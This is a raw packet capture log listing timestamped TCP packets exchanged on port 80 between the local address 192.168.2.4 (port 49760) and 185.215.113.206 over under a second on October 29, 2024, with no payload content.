Oct 29, 2024 04:52:28.731223106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731225967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731225967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731256008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731265068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731303930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731353998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731410027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731515884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731549025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731569052 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731578112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731591940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731612921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731646061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731664896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732018948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732053041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732073069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732086897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732098103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732120037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732135057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732153893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732172966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732187986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732191086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732217073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732243061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732260942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732777119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732825041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732829094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732855082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.732877970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732911110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.732988119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733021021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733047009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733056068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733063936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733092070 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733103037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733144999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733520031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733552933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733577967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733586073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733598948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733622074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733637094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733656883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733671904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733690977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733710051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733726025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733747005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733762980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.733776093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.733819008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734278917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734308004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734338999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734339952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734359026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734375954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734394073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734407902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734419107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734442949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734460115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734493971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734723091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734775066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734781027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734810114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734821081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734843969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734863043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734879017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.734899998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.734929085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735390902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735424995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735452890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735459089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735472918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735492945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735512972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735527039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735548019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735560894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735584021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735595942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735614061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735630035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.735641956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.735691071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736223936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736257076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736284018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736289978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736304998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736323118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736331940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736357927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736376047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736392021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736411095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736424923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736445904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736459017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.736480951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.736515045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737095118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737129927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737153053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737162113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737170935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737198114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737219095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737231970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737246990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737287045 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737498999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737530947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737550020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737562895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.737571955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.737607002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764256954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764328003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764394999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764427900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764446974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764484882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764516115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764530897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764559031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764661074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764694929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764703989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764744043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764842033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764878035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.764893055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764919996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.764978886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765012980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765029907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765047073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765047073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765084982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765275955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765309095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765330076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765342951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765350103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765378952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765392065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765413046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765427113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765450001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765469074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765489101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765764952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765798092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765818119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765830994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765837908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765866041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765873909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765899897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765909910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765935898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.765947104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.765981913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766185045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766215086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766239882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766258001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766297102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766331911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766345978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766383886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766450882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766500950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766504049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766536951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766551018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766570091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766586065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766604900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766614914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766648054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766916037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766949892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766968966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.766985893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.766990900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767020941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767033100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767066002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767196894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767230988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767249107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767266035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767273903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767301083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767318010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767345905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767616034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767648935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767669916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767680883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767680883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767714977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767720938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767749071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767755985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767785072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767797947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767819881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767833948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767868996 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767869949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767904997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.767918110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.767952919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768270969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768322945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768388033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768423080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768439054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768465042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768569946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768600941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768619061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768635035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768642902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768672943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768691063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768716097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768846035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768876076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.768898010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.768920898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.853154898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.853209972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.853249073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.853272915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.853331089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881303072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881360054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881392002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881395102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881438017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881480932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881484985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881517887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881584883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881594896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881652117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881680012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881756067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881757021 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881804943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881839037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881849051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881902933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.881905079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881947041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.881995916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882029057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882040024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882065058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882077932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882100105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882112980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882148981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882313967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882349968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882364035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882395983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882478952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882513046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882529974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882555008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882635117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882668018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882683992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882699966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882707119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882735014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882744074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882766962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882775068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882805109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.882813931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.882852077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883099079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883131981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883147001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883166075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883174896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883209944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883379936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883414030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883433104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883455992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883467913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883502960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883516073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883538008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883549929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883574009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883585930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883611917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883622885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883640051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883661032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883681059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883897066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883932114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883951902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.883966923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.883975983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884002924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884010077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884048939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884247065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884279966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884300947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884315014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884324074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884349108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884365082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884383917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.884397984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.884418011 CET	80	49760	185.215.113.206	192.168.2.4
